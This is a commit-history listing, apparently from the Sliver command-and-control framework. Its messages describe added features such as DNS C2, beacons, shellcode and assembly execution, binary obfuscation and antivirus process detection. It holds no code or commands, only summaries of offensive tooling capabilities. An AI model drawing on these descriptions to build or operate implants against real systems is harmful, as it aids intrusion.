Compare commits

...
337 Commits
Author SHA1 Message Date
moloch-- fb573bb122 Correctly convert request path 2021-12-23 08:54:39 -06:00
moloch-- f780f70318 Fix various build-time errors 2021-12-23 08:36:36 -06:00
moloch-- 12c6a57362 implemented configurable http drivers per platform 2021-12-23 08:03:48 -06:00
moloch-- afc8ccd61d initial winhttp support 2021-12-23 07:33:53 -06:00
moloch-- 5b3f1eeb7b wip: Initial winhttp support 2021-12-22 16:38:55 -06:00
moloch-- 3b7db1dea0 Fix cross-compiling cgo in makefile 2021-12-22 14:06:53 -06:00
moloch-- 46d32e6130 Changed default db back to cgo 2021-12-22 13:55:12 -06:00
moloch-- 815bf3c479 Fix off by one in SplitBuffer 2021-12-22 10:27:10 -06:00
moloch-- a4e28f37de Fix race in size check of large dns msgs 2021-12-22 09:49:17 -06:00
moloch-- ddc94ba556 Potential fix for dns extra bytes race 2021-12-22 08:50:45 -06:00
moloch-- bf484828cd Wired up active-c2 and proxy url 2021-12-22 08:21:13 -06:00
moloch-- 8deb2c7bca Attempting to fix intermitten bug in dns boundry calculations 2021-12-21 22:04:34 -06:00
moloch-- f9c58caa78 parse all c2 args as urls 2021-12-21 20:56:50 -06:00
moloch-- ba6eda99c8 Small fix to dns client 2021-12-21 18:13:58 -06:00
moloch-- 09b441f132 updated readme 2021-12-21 17:23:04 -06:00
moloch-- 08bcff0517 gosqlite seems to work now 2021-12-21 17:20:37 -06:00
moloch-- a2d63eb4e9 gosqlite seems to work now 2021-12-21 17:11:44 -06:00
moloch-- cde5b8c2db Actually use pure go sqlite 2021-12-21 16:25:57 -06:00
moloch-- bfed9c9343 Merge branch 'v1.5.0_pivots' into stage 2021-12-21 14:51:53 -06:00
moloch-- 8adab5786b unit tests pass 2021-12-21 12:03:03 -06:00
moloch-- d2a7feba5e Remove sql.go import 2021-12-21 12:03:03 -06:00
rkervella b4d939bcb9 Merge branch 'stage' of bishopfox.github.com:BishopFox/sliver into stage 2021-12-20 15:34:11 -08:00
rkervella 4d068268e2 Set default implant sleep to non-zero value 2021-12-20 15:34:06 -08:00
rkervella dd52cefc22 Move sleep time to constant 2021-12-20 15:32:43 -08:00
rkervella 3c9b8bb2cc Merge branch 'v1.5.0_pivots' of bishopfox.github.com:BishopFox/sliver into v1.5.0_pivots 2021-12-20 15:26:37 -08:00
rkervella 8af24c9c3e Fix prelude stuff 2021-12-20 15:26:28 -08:00
moloch-- 5083ca3397 Merge branch 'go-sqlite' into v1.5.0_pivots 2021-12-19 08:59:51 -06:00
moloch-- 57b3ee28a7 Merged gosqlite, added built tags for gosqlite/csqlite 2021-12-19 08:50:50 -06:00
moloch-- 2468abed25 Merge branch 'go-sqlite' into v1.5.0_pivots 2021-12-19 08:40:33 -06:00
moloch-- a3cb2bca44 comments 2021-12-19 08:40:19 -06:00
moloch-- 122e5bf3b0 Unit tests pass 2021-12-18 20:55:02 -06:00
moloch-- 09a0cc5a67 Merge branch 'v1.5.0_pivots' into go-sqlite 2021-12-18 18:02:19 -06:00
moloch-- c8a9094a90 commands, tunnels, etc. working 2021-12-18 12:16:23 -06:00
moloch-- 4247a0ddf8 wip: Pivots connect to the server and can exchange messages 2021-12-18 11:37:41 -06:00
moloch-- c8834f63ef Pivot/peer->server key exchange working 2021-12-17 17:35:36 -06:00
moloch-- 1fd74f69ea Go v1.17.5 2021-12-11 11:57:10 -08:00
moloch-- 4dfa46c7ae Merge branch 'stage' into v1.5.0_pivots 2021-12-07 14:41:09 -08:00
moloch-- 6f8c726863 tweak max literal sizes 2021-12-07 12:42:06 -08:00
moloch-- 763c46bd37 wip 2021-12-03 21:44:57 -06:00
moloch-- a37749bf50 Fix byte type 2021-12-02 21:32:40 -06:00
rkervella 0c7c7b54d3 Fix #544 2021-11-30 10:18:09 +01:00
rkervella 832ac585f7 Merge branch 'cert-issue' into stage 2021-11-30 10:09:59 +01:00
Joe 14492dfbcb Merge pull request #550 from usiegl00/stage
Expand tilde in generate file path
2021-11-29 20:10:24 -06:00
usiegl00 1e283e54a9 Expand tilde in generate file path 2021-11-30 09:59:05 +09:00
Ronan Kervella f679e99403 Merge pull request #549 from usiegl00/stage
Add CmdLine to Windows process list.
2021-11-29 12:09:11 +01:00
usiegl00 aab7143708 Add CmdLine to Windows process list 2021-11-29 19:19:14 +09:00
Joe 886ab348f4 Merge pull request #548 from cmprmsd/patch-1
Add Bitdefender Process Names
2021-11-28 15:07:49 -06:00
cmprmsd 8211f8f0e4 Add Bitdefender Process Names
Feel free to remove the source that I added to find out about "Bitdefender redline update"
2021-11-28 11:46:47 +01:00
moloch-- 05cc038f2f remove cc logic from makefile 2021-11-26 09:55:49 -06:00
moloch-- 1117f9b9c9 remove cc logic from makefile 2021-11-26 09:55:25 -06:00
moloch-- 8670f50150 pure go sqlite working 2021-11-26 09:50:40 -06:00
moloch-- 3613a2ffe3 wip on server-side key exchange 2021-11-26 09:38:51 -06:00
rkervella 483654d58f Fix error check during client cert generation 2021-11-26 12:52:34 +01:00
moloch-- de27a5e132 Fix peer envelope handler scheme 2021-11-23 08:29:30 -06:00
moloch-- 2051abd663 pivots wip, fixed socks ui bugs 2021-11-22 19:37:18 -06:00
rkervella b87a7034a9 Only log in when in debug mode 2021-11-22 09:55:56 +01:00
moloch-- 8914559aec Pivot con wip 2021-11-21 22:42:05 -06:00
moloch-- 7f84913ab2 Added failure detection 2021-11-21 18:17:03 -06:00
moloch-- 84494c1ad4 tweaked peer design 2021-11-21 17:25:04 -06:00
moloch-- 33a9fd6eae Peer key exchange working 2021-11-21 16:26:59 -06:00
moloch-- 33e72b9601 Outlined updated pivots 2021-11-21 12:00:12 -06:00
moloch-- 45be3dff80 gopsutil v3 2021-11-21 08:18:51 -06:00
moloch-- 325fd47401 Insert minisign sigs, enable variable literal obf 2021-11-21 08:16:39 -06:00
moloch-- 526c3c104a Fix unit tests, added util.gzip funcs 2021-11-20 20:42:13 -06:00
moloch-- c4542d8def Added more unit tests for minisign 2021-11-20 20:22:35 -06:00
moloch-- ade83e551f Added minisign keys to db key/value 2021-11-20 19:30:30 -06:00
moloch-- a7da3027ac Moved secrets to db 2021-11-20 18:42:57 -06:00
moloch-- edc6d21c23 Fixed dns beacon reconnect problems 2021-11-20 16:23:44 -06:00
moloch-- 31ca964e6c Fixes to beacon key life cycle 2021-11-20 15:36:31 -06:00
moloch-- 735ae74f1d Fix state revert bug 2021-11-20 14:54:12 -06:00
moloch-- 49679538eb Made beacon registration eventable 2021-11-20 14:27:31 -06:00
moloch-- 000ca54a15 nil resp check 2021-11-20 11:29:16 -06:00
moloch-- eb615f3add Fixed poll truncation/race issue #540 2021-11-20 11:23:37 -06:00
moloch-- acb0f857b3 Force generation of secure password 2021-11-20 09:54:23 -06:00
moloch-- 610d8b18c9 Force generation of secure password 2021-11-20 09:51:12 -06:00
moloch-- edf126c149 Warn user about socks proxy creds 2021-11-20 09:48:33 -06:00
moloch-- 1794d0cebd Renable socks user/pw 2021-11-20 09:45:07 -06:00
moloch-- e66d563f65 Fix nil RemoteAddr deref 2021-11-20 09:38:51 -06:00
moloch-- 8dd2b5d7ce Update socks api usage 2021-11-20 09:00:41 -06:00
moloch-- 10246681ba Switched deps to fork of memmod and go-socks5 2021-11-20 08:47:24 -06:00
moloch-- ed19017941 Update table 2021-11-20 08:37:46 -06:00
moloch-- c0116cc9d5 Tweaks to socks ux 2021-11-20 08:22:20 -06:00
moloch-- a890812a0a Fix logging levels 2021-11-19 20:43:30 -06:00
moloch-- b1922bce73 Fix log import 2021-11-19 20:15:39 -06:00
moloch-- 47aaeb0225 Merge socks 2021-11-19 19:44:56 -06:00
moloch-- 61c844db44 Rebase 2021-11-19 19:41:23 -06:00
moloch-- 35bbc61a9a Stage socks branch 2021-11-19 19:39:57 -06:00
moloch-- 6453f477f4 Fix fmt import 2021-11-19 19:39:57 -06:00
moloch-- b0709a364a Tweaked dns c2 2021-11-19 19:39:55 -06:00
moloch-- 2e65e1842f Moving to per-c2 opts 2021-11-19 19:39:45 -06:00
moloch-- c068664854 Wire dns c2 to beacon interface 2021-11-19 19:39:45 -06:00
moloch-- e9debcc2a4 Increase default workers 2021-11-19 19:39:45 -06:00
moloch-- 7ae2d0a481 DNS C2 mvp 2021-11-19 19:39:44 -06:00
moloch-- b62e3354e0 Wired send loop 2021-11-19 19:39:44 -06:00
moloch-- e55afa7efe Outlined the rest of server-side dns c2 2021-11-19 19:39:44 -06:00
moloch-- 65dc11a40e Wired dns recv to core 2021-11-19 19:39:44 -06:00
moloch-- 2620673f50 More/larger tests 2021-11-19 19:39:44 -06:00
moloch-- e22d3ac58e Re-assemble unit tests 2021-11-19 19:39:44 -06:00
moloch-- 604c3480cf Updated garble 2021-11-19 19:39:44 -06:00
rkervella ca8544a169 No need for CGO for shellcodes anymore 2021-11-19 19:39:44 -06:00
rkervella e1713bd418 Add missing Request field 2021-11-19 19:39:44 -06:00
rkervella 0649a2680b Switch upstream memmod to up to date version 2021-11-19 19:39:44 -06:00
rkervella 280f5c6be7 Fix flag name 2021-11-19 19:39:44 -06:00
rkervella 77ddfd8013 Add error handling 2021-11-19 19:39:44 -06:00
rkervella 48d2eed385 Replace protobuf annotations with unique strings 2021-11-19 19:39:44 -06:00
moloch-- 36d531fa86 Entrypoint -> StartW 2021-11-19 19:39:44 -06:00
moloch-- ab2ab45edc Improved worker/queue pattern 2021-11-19 19:39:44 -06:00
moloch-- 2b2c1bdc13 splitBuffer tests for max parent 2021-11-19 19:39:44 -06:00
moloch-- 983b5476bd splitBuffer tests for b32 and b58 2021-11-19 19:39:43 -06:00
moloch-- cbd95a2003 tests and fixes for splitBuffer 2021-11-19 19:39:43 -06:00
moloch-- a3b1693a41 dnsclient unit tests 2021-11-19 19:39:43 -06:00
moloch-- 434ca2fee9 Improved unit tests 2021-11-19 19:39:43 -06:00
moloch-- 92ef847a59 wip on server-side send/recv impl 2021-11-19 19:39:43 -06:00
moloch-- 800c584397 Added variable encoding, wip 2021-11-19 19:39:43 -06:00
moloch-- b2a2dac63b Initial fingerprint impl working 2021-11-19 19:39:43 -06:00
moloch-- 954616b5a3 outlined fingerprint scheme 2021-11-19 19:39:43 -06:00
moloch-- 2cd4264101 Abstracted resolver impl 2021-11-19 19:39:43 -06:00
moloch-- b8d78c56e9 Platform specific find resolvers 2021-11-19 19:39:43 -06:00
moloch-- c5262aa807 Platform specific find resolvers 2021-11-19 19:39:43 -06:00
moloch-- 17dba3543d wip on dns c2 updates 2021-11-19 19:39:43 -06:00
moloch-- 7b0a83027e Modified base58 alphabet 2021-11-19 19:39:43 -06:00
moloch-- f46f7a36ff Updated b58 unit tests 2021-11-19 19:39:43 -06:00
moloch-- a369c46952 Base62 -> Base58 2021-11-19 19:39:43 -06:00
moloch-- 907ef9ca2f Updated lics 2021-11-19 19:39:43 -06:00
moloch-- 4df5c78b7e Obfuscate more of the pkgs, limited pkg obfuscation is currently broken 2021-11-19 19:39:43 -06:00
moloch-- 3765e016b4 Updated garble 2021-11-19 19:39:42 -06:00
moloch-- 6fa06e8d74 Updated garble 2021-11-19 19:39:42 -06:00
moloch-- c3841efcef Fix dns imports 2021-11-19 19:39:42 -06:00
moloch-- 508e9ab9d9 dns wip 2021-11-19 19:39:42 -06:00
moloch-- 433482031c added pb 2021-11-19 19:39:42 -06:00
moloch-- a4a94eca98 some initial refactoring 2021-11-19 19:39:42 -06:00
moloch-- ecea6049a8 check n bytes 2021-11-19 19:39:42 -06:00
moloch-- 1767c34f47 Go v1.17.2 2021-11-19 19:39:42 -06:00
moloch-- 6fd1e4802b Cleanup tunnel read() 2021-11-19 19:39:42 -06:00
moloch-- f745d9524e Remove server core import 2021-11-19 19:39:42 -06:00
rkervella a8464d5b0c Fix DLL hijack protobuf 2021-11-19 19:39:40 -06:00
rkervella cc7a56e07b Close connection once payload has been sent. 2021-11-19 19:38:32 -06:00
Chris Smith cdbf93d64b Enable hyphen in operator names 2021-11-19 19:38:32 -06:00
rkervella fdd319f6f3 Handle 32 bits PE for sideload/spawndll. Fix crash on unhandled OptionalHeader type 2021-11-19 19:38:32 -06:00
dependabot[bot] 22f840acbd Bump nokogiri from 1.11.7 to 1.12.5 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.11.7 to 1.12.5.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.11.7...v1.12.5)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2021-11-19 19:38:32 -06:00
moloch-- 9d200bb2aa mvp of open session 2021-11-19 19:38:32 -06:00
moloch-- 17b6cf7a5e OpenSession wip 2021-11-19 19:38:30 -06:00
moloch-- 22efd18301 Modified connection pattern to support runtime values 2021-11-19 19:38:14 -06:00
rkervella 4d45883c72 Fix Sprintf statement 2021-11-19 19:36:56 -06:00
rkervella b98bf6ef53 Fix short flag conflict 2021-11-19 19:36:56 -06:00
rkervella 65ea935750 Add missing flag, rename short flag 2021-11-19 19:36:56 -06:00
rkervella 9865ee2396 Update COFF Loader version 2021-11-19 19:36:56 -06:00
rkervella ca7cf74387 Remove double build constraints 2021-11-19 19:36:56 -06:00
rkervella 9eb6fda037 Rework uintptr cast to avoid size limitation 2021-11-19 19:36:56 -06:00
rkervella 1a5eb1c118 Fix flags types and help string 2021-11-19 19:36:56 -06:00
rkervella f43d01b4b0 Add kill support for beacons 2021-11-19 19:36:54 -06:00
moloch-- 96fe3c7db8 Regenerate pb 2021-11-19 19:36:23 -06:00
Raf 8188ba689d client/command/filesystem/ls: Fix an off-by-one error that prevented the ls command from operating against the root of the drive. 2021-11-19 19:36:00 -06:00
rkervella 4517684728 Refactor to use GetInteractive() 2021-11-19 19:35:08 -06:00
rkervella ab1b72f410 Cleaning up Windows kill handler 2021-11-19 19:35:08 -06:00
rkervella fd83024e4b Add autocomplete for use 2021-11-19 19:35:08 -06:00
rkervella 18ee8e5133 Switch beacons command to the Generic help group 2021-11-19 19:35:07 -06:00
rkervella 5a96962611 Switch beacons command to the proper help group 2021-11-19 19:35:07 -06:00
rkervella 85b592b2b9 Add helpgroup for beacons 2021-11-19 19:35:07 -06:00
moloch-- 91a569f389 Implemented beacon priv cmds 2021-11-19 19:35:07 -06:00
moloch-- b646ca835c Implemented beacon registry cmds 2021-11-19 19:35:07 -06:00
moloch-- 26993f797c Implemented beacon screenshot 2021-11-19 19:35:07 -06:00
moloch-- ec743b2e85 Implemented beacon proc cmds 2021-11-19 19:35:07 -06:00
moloch-- 0ac43c69d6 Implemented task fetch for netstat 2021-11-19 19:35:07 -06:00
moloch-- a2f8bac4b1 Ported netstat to beacon/table writer 2021-11-19 19:35:07 -06:00
moloch-- 2c9643b404 Added support for GOPROXY env var and server config 2021-11-19 19:35:07 -06:00
moloch-- 1239b5fd87 Added multiplayer -p flag 2021-11-19 19:35:07 -06:00
moloch-- d904a74d14 Added new flags to http/https listeners 2021-11-19 19:35:07 -06:00
moloch-- 60aaeebe0b Added --all to ifconfig 2021-11-19 19:35:07 -06:00
moloch-- 000ecb51eb Added beacon prune command 2021-11-19 19:35:07 -06:00
moloch-- fbddd67930 Added beacon watch command 2021-11-19 19:35:07 -06:00
moloch-- 10f7b000b4 implemented ifconfig 2021-11-19 19:35:07 -06:00
moloch-- 2f3ebbfcd5 Task fetch for ssh, and env tasks 2021-11-19 19:35:06 -06:00
moloch-- b54d97b497 Implemented task fetch for exec pkg 2021-11-19 19:35:06 -06:00
moloch-- eedfb272a5 Implemented more task fetch renderers 2021-11-19 19:35:06 -06:00
moloch-- 47857e903c Added command to fetch old task results 2021-11-19 19:35:06 -06:00
moloch-- 0da314d925 Updated ssh to work with beacon 2021-11-19 19:35:06 -06:00
moloch-- c132b14272 Updated spawndll client cmd 2021-11-19 19:35:06 -06:00
moloch-- f6b7e07653 Updated server-side rpc's for execute-assembly, sideload, spawndll 2021-11-19 19:35:06 -06:00
moloch-- 60cbf09520 Ported msf/msf-remote to support beacon 2021-11-19 19:35:04 -06:00
moloch-- 0090e8dfd8 Added beacon support to execute-shellcode 2021-11-19 19:34:11 -06:00
moloch-- 099753fa74 Added beacon support to execute-assembly 2021-11-19 19:34:11 -06:00
moloch-- 6685bf486e Only paginate on 2x terminal sized tables 2021-11-19 19:34:11 -06:00
moloch-- 6d5a288626 UX improvements 2021-11-19 19:34:11 -06:00
rkervella 3bf157b29d Refactor 2021-11-19 19:34:11 -06:00
rkervella 146be0e814 Revert "Refactoring"
This reverts commit de7fd664cd.
2021-11-19 19:34:11 -06:00
rkervella 065fc3ffa6 Revert "Escape string before JSON parsing"
This reverts commit 1549b894fa.
2021-11-19 19:34:11 -06:00
rkervella d3da84731f Refactoring 2021-11-19 19:34:11 -06:00
rkervella b451d90a33 Escape string before JSON parsing 2021-11-19 19:34:11 -06:00
rkervella c01ace4a67 Add PID to bof result 2021-11-19 19:34:10 -06:00
rkervella e8d22af3bc Check for nil pointer 2021-11-19 19:34:10 -06:00
rkervella 50f83c958b Removed comment 2021-11-19 19:34:10 -06:00
rkervella 6ac9a16aa7 Remove commented code 2021-11-19 19:34:10 -06:00
rkervella caad9de26c Initial BOF support for Prelude Operator 2021-11-19 19:34:10 -06:00
rkervella 70805d04f7 Remove logging 2021-11-19 19:34:10 -06:00
moloch-- a3b98716a7 Stage socks branch 2021-11-19 19:28:52 -06:00
moloch-- 24f6a9d8ab Fix fmt import 2021-11-19 17:26:52 -06:00
moloch-- d6b5571c7e Tweaked dns c2 2021-11-19 17:02:34 -06:00
moloch-- c0b08cbd42 Moving to per-c2 opts 2021-11-19 15:09:06 -06:00
moloch-- d567a21f8c Wire dns c2 to beacon interface 2021-11-19 13:28:13 -06:00
moloch-- 105d80cdb7 Increase default workers 2021-11-19 09:33:59 -06:00
moloch-- d1627c9030 DNS C2 mvp 2021-11-18 20:10:55 -06:00
moloch-- 661732012d Wired send loop 2021-11-18 12:43:51 -06:00
moloch-- f55f248fbc Outlined the rest of server-side dns c2 2021-11-18 11:24:50 -06:00
moloch-- 6817c5a117 Wired dns recv to core 2021-11-18 08:56:17 -06:00
moloch-- 6b31d6985a More/larger tests 2021-11-17 19:47:42 -06:00
moloch-- 47357c346a Re-assemble unit tests 2021-11-17 19:38:28 -06:00
moloch-- 970ff6b80b Updated garble 2021-11-17 14:48:01 -06:00
moloch-- 126dc44c44 Merge branch 'stage' into v1.5.0_dns2 2021-11-17 13:53:00 -06:00
moloch-- 4abc395485 Entrypoint -> StartW 2021-11-16 08:52:18 -06:00
rkervella 0f5284fb2d No need for CGO for shellcodes anymore 2021-11-15 14:21:32 +01:00
moloch-- 0f4dc27498 Improved worker/queue pattern 2021-11-14 15:16:39 -06:00
moloch-- 7ea5039e9a splitBuffer tests for max parent 2021-11-14 13:25:58 -06:00
moloch-- b1e4a016d4 splitBuffer tests for b32 and b58 2021-11-14 13:19:18 -06:00
moloch-- 785810ebea tests and fixes for splitBuffer 2021-11-14 10:44:52 -06:00
moloch-- 5779f337d0 dnsclient unit tests 2021-11-14 09:10:28 -06:00
moloch-- ab93f0d1c6 Improved unit tests 2021-11-13 13:40:15 -06:00
moloch-- d4cc59d1e6 wip on server-side send/recv impl 2021-11-09 18:43:55 -06:00
rkervella 03d1f92441 Merge branch 'v1.5.0_beacon' into stage 2021-11-09 11:23:24 +01:00
rkervella 77ddf234bd Add missing Request field 2021-11-09 11:22:02 +01:00
rkervella a53bc17665 Switch upstream memmod to up to date version 2021-11-08 10:09:14 +01:00
moloch-- 1682f58801 Added variable encoding, wip 2021-11-06 19:16:06 -05:00
moloch-- 3d4e76990c Initial fingerprint impl working 2021-11-06 13:14:46 -05:00
moloch-- d97fb249a8 outlined fingerprint scheme 2021-11-05 17:46:29 -05:00
rkervella e8714dbdec Fix flag name 2021-11-03 11:48:59 +01:00
rkervella f69a4f8b92 Add error handling 2021-11-03 10:34:04 +01:00
moloch-- c2925a8a57 Abstracted resolver impl 2021-11-02 19:46:14 -05:00
moloch-- 6484b0c5a6 Platform specific find resolvers 2021-11-01 10:59:37 -05:00
moloch-- 338b8bb5b2 Platform specific find resolvers 2021-11-01 10:55:12 -05:00
moloch-- 15ca3871dd wip on dns c2 updates 2021-10-31 15:50:13 -05:00
moloch-- f11a1333bb Modified base58 alphabet 2021-10-31 10:40:27 -05:00
moloch-- 4a2c9cb50e Updated b58 unit tests 2021-10-31 10:36:28 -05:00
moloch-- c8928b4864 Base62 -> Base58 2021-10-31 10:35:34 -05:00
moloch-- 13ecb9782b Updated lics 2021-10-30 15:33:23 -05:00
moloch-- 05ce79e986 Obfuscate more of the pkgs, limited pkg obfuscation is currently broken 2021-10-30 15:26:31 -05:00
moloch-- a3c7d057f6 Updated garble 2021-10-30 13:00:16 -05:00
moloch-- b3277d0f4c Updated garble 2021-10-30 12:51:09 -05:00
moloch-- 1f0e9d6995 Fix dns imports 2021-10-30 12:16:57 -05:00
moloch-- 478f677f55 dns wip 2021-10-30 11:30:22 -05:00
moloch-- 7463298de1 added pb 2021-10-30 09:45:19 -05:00
moloch-- 7306d439e1 some initial refactoring 2021-10-30 08:22:59 -05:00
rkervella 66d6e8043a Merge branch 'dont-merge-that' into stage 2021-10-29 19:00:40 +02:00
rkervella 11505d8f94 Replace protobuf annotations with unique strings 2021-10-29 19:00:13 +02:00
moloch-- 452d7b7fce check n bytes 2021-10-27 16:43:18 -05:00
moloch-- 606c5ac948 Go v1.17.2 2021-10-22 08:31:58 -05:00
moloch-- 8ee4f786b4 Cleanup tunnel read() 2021-10-21 08:46:15 -05:00
moloch-- 79a96368d0 Remove server core import 2021-10-21 08:44:00 -05:00
moloch-- 8176068bb5 Merge latest v1.5 2021-10-21 08:31:03 -05:00
moloch-- ff8de9922e Merge master 2021-10-21 08:29:05 -05:00
Ronan Kervella 13cbf53851 Merge pull request #527 from BishopFox/dll-hijack-fix
DLL Hijack update
2021-10-21 15:17:37 +02:00
rkervella 56f339c8a3 Fix Sprintf statement 2021-10-21 15:13:29 +02:00
rkervella e31fd56730 Fix DLL hijack protobuf 2021-10-21 14:45:55 +02:00
Ronan Kervella 9af5d9126f Merge pull request #525 from BishopFox/fix-stager-close-conn
Close TCP connection on TCP stager
2021-10-12 12:49:09 +02:00
rkervella d9499c26a1 Close connection once payload has been sent. 2021-10-12 12:21:49 +02:00
Ronan Kervella 5bd101bc47 Merge pull request #524 from BishopFox/bugfix/fix-operator-usernames
Enable hyphen in operator names
2021-10-12 10:57:30 +02:00
Chris Smith 0e1d21bb28 Enable hyphen in operator names 2021-10-12 05:20:15 +00:00
Ronan Kervella 1f5a950752 Merge pull request #523 from BishopFox/fix-spawndll-crash
Handle 32 bits PE for sideload/spawndll. Fix crash on unhandled OptionalHeader type
2021-10-11 11:43:10 +02:00
rkervella 3a1ff3fa52 Handle 32 bits PE for sideload/spawndll. Fix crash on unhandled OptionalHeader type 2021-10-11 09:43:47 +02:00
moloch-- 9db930b10f mvp of open session 2021-10-09 17:49:03 -05:00
a3sroot 2fa6bc2e59 Defective socks 2021-10-05 11:57:29 +08:00
moloch-- 2e3f92ed22 OpenSession wip 2021-10-04 17:35:51 -05:00
rkervella c552a2fd9f Fix short flag conflict 2021-10-01 12:11:27 +02:00
rkervella e729576a6d Add missing flag, rename short flag 2021-10-01 12:05:32 +02:00
moloch-- c9f04b0a1c Modified connection pattern to support runtime values 2021-09-28 13:02:18 -10:00
rkervella a439c39d64 Update COFF Loader version 2021-09-28 10:44:58 +02:00
rkervella 0471a219c4 Remove double build constraints 2021-09-28 10:35:00 +02:00
rkervella 6631727242 Rework uintptr cast to avoid size limitation 2021-09-28 10:34:10 +02:00
rkervella c21171d739 Fix flags types and help string 2021-09-28 10:19:23 +02:00
Ronan Kervella 98aa4ed58c Merge pull request #518 from BishopFox/dependabot/bundler/docs/nokogiri-1.12.5
Bump nokogiri from 1.11.7 to 1.12.5 in /docs
2021-09-28 10:16:18 +02:00
rkervella 4ad1f1a561 Add kill support for beacons 2021-09-28 10:15:51 +02:00
dependabot[bot] d0a38bb792 Bump nokogiri from 1.11.7 to 1.12.5 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.11.7 to 1.12.5.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.11.7...v1.12.5)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2021-09-28 05:59:37 +00:00
rkervella ee8603b30c Merge branches 'v1.5.0_beacon' and 'stage' of bishopfox.github.com:BishopFox/sliver into stage 2021-09-27 18:19:38 +02:00
rkervella 11ea01819f Refactor to use GetInteractive() 2021-09-27 11:05:30 +02:00
rkervella da39a82b83 Cleaning up Windows kill handler 2021-09-27 10:58:48 +02:00
rkervella 3ce730a469 Add autocomplete for use 2021-09-27 10:50:58 +02:00
rkervella f52ee8c28f Switch beacons command to the Generic help group 2021-09-27 10:37:08 +02:00
rkervella 150511df9b Switch beacons command to the proper help group 2021-09-27 10:36:20 +02:00
rkervella 3e8c3fc02e Add helpgroup for beacons 2021-09-27 10:32:09 +02:00
moloch-- 019d0d40f6 Regenerate pb 2021-09-26 19:47:54 -07:00
moloch-- 268aa95169 Merged v1.5.0_beacon 2021-09-26 19:47:23 -07:00
moloch-- 7775880277 Implemented beacon priv cmds 2021-09-26 19:31:05 -07:00
moloch-- ba541ffd43 Implemented beacon registry cmds 2021-09-26 18:44:59 -07:00
moloch-- a60cc86c9a Implemented beacon screenshot 2021-09-26 18:12:32 -07:00
moloch-- 0099e06cc6 Implemented beacon proc cmds 2021-09-26 17:41:18 -07:00
moloch-- b0fdec2700 Implemented task fetch for netstat 2021-09-26 15:43:28 -07:00
moloch-- 8419cf7442 Ported netstat to beacon/table writer 2021-09-26 15:38:24 -07:00
moloch-- d470543f98 Added support for GOPROXY env var and server config 2021-09-26 10:59:46 -05:00
moloch-- 84d41f063b Added multiplayer -p flag 2021-09-25 22:47:15 -05:00
moloch-- c876f34cd0 Added new flags to http/https listeners 2021-09-25 19:42:53 -05:00
moloch-- 7ba3f87afb Added --all to ifconfig 2021-09-25 17:57:26 -05:00
moloch-- 008f9c6fde Added beacon prune command 2021-09-25 17:16:21 -05:00
moloch-- 80e6c2a24e Added beacon watch command 2021-09-25 16:15:08 -05:00
moloch-- 69842674d2 implemented ifconfig 2021-09-25 15:34:23 -05:00
moloch-- b2f9ccfab6 Task fetch for ssh, and env tasks 2021-09-25 14:34:53 -05:00
moloch-- 358b6ab20d Implemented task fetch for exec pkg 2021-09-25 13:34:52 -05:00
moloch-- 268db3ce00 Implemented more task fetch renderers 2021-09-25 12:10:24 -05:00
moloch-- 03dfb2f5d9 Added command to fetch old task results 2021-09-25 10:07:29 -05:00
moloch-- d4e809d889 Updated ssh to work with beacon 2021-09-25 08:44:38 -05:00
moloch-- 6f6fd8f0f5 Updated spawndll client cmd 2021-09-25 08:21:45 -05:00
moloch-- f5e374293c Updated server-side rpc's for execute-assembly, sideload, spawndll 2021-09-25 07:56:36 -05:00
moloch-- 8f12e35124 Ported msf/msf-remote to support beacon 2021-09-25 07:06:27 -05:00
moloch-- b27809d9ba Added beacon support to execute-shellcode 2021-09-24 22:52:13 -05:00
moloch-- 377d56bda3 Added beacon support to execute-assembly 2021-09-24 22:35:46 -05:00
moloch-- 4bcb0cb61f Only paginate on 2x terminal sized tables 2021-09-24 20:46:17 -05:00
moloch-- 9d6870e792 UX improvements 2021-09-24 19:34:44 -05:00
moloch-- 93b1e3a7b4 Fix use context switch 2021-09-23 20:37:06 -05:00
moloch-- 90f799a6f2 UX improvements 2021-09-23 19:23:13 -05:00
moloch-- 251423bc28 Improved beacon ux 2021-09-23 15:38:57 -05:00
moloch-- 03957f4d01 Fix next/last checkin for beacons 2021-09-23 13:50:31 -05:00
moloch-- a7d07e372a Bug fixes to http(s) beacons 2021-09-23 08:42:55 -05:00
moloch-- 364b0d6f57 Added http close() 2021-09-22 14:42:58 -05:00
moloch-- 52ef179988 Improved comments 2021-09-22 07:52:55 -05:00
moloch-- 79a50d24fe Go v1.17.1 2021-09-21 09:19:50 -05:00
moloch-- 4e23091147 Send hash of public key instead of public key 2021-09-20 19:02:19 -05:00
moloch-- 98e7f7abf8 New key exchange working 2021-09-20 18:32:54 -05:00
moloch-- 92e833a481 Fixes/refactor to mtls 2021-09-20 17:30:53 -05:00
moloch-- b442f95a7b Major refactor of core crypto 2021-09-20 16:33:36 -05:00
moloch-- da8d5b8a0c wip on pivots 2021-09-19 20:41:46 -05:00
moloch-- 3151b559a6 Added chacha20poly1305 to cryptography 2021-09-17 16:36:33 -05:00
moloch-- b02489a5d3 Fixes/updates operators status command 2021-09-14 19:13:42 -05:00
moloch-- eb57802c28 More strict auth checks in middleware 2021-09-14 16:45:31 -05:00
Joe 767644ddc3 Merge pull request #510 from RafBishopFox/stage
A small fix for ls
2021-09-13 17:15:29 -05:00
Raf 185913c6eb client/command/filesystem/ls: Fix an off-by-one error that prevented the ls command from operating against the root of the drive. 2021-09-13 15:22:29 -04:00
moloch-- e3093bee6e Implemented a real kick-operator cmd 2021-09-11 23:18:24 -05:00
moloch-- f6014393be Added per-operator call credentials 2021-09-11 22:39:32 -05:00
moloch-- 90de40f1ee gofmt 2021-09-11 19:57:15 -05:00
rkervella cc2a5bb622 Refactor 2021-09-10 17:27:59 +02:00
rkervella 3d7889183a Revert "Refactoring"
This reverts commit de7fd664cd.
2021-09-10 16:17:49 +02:00
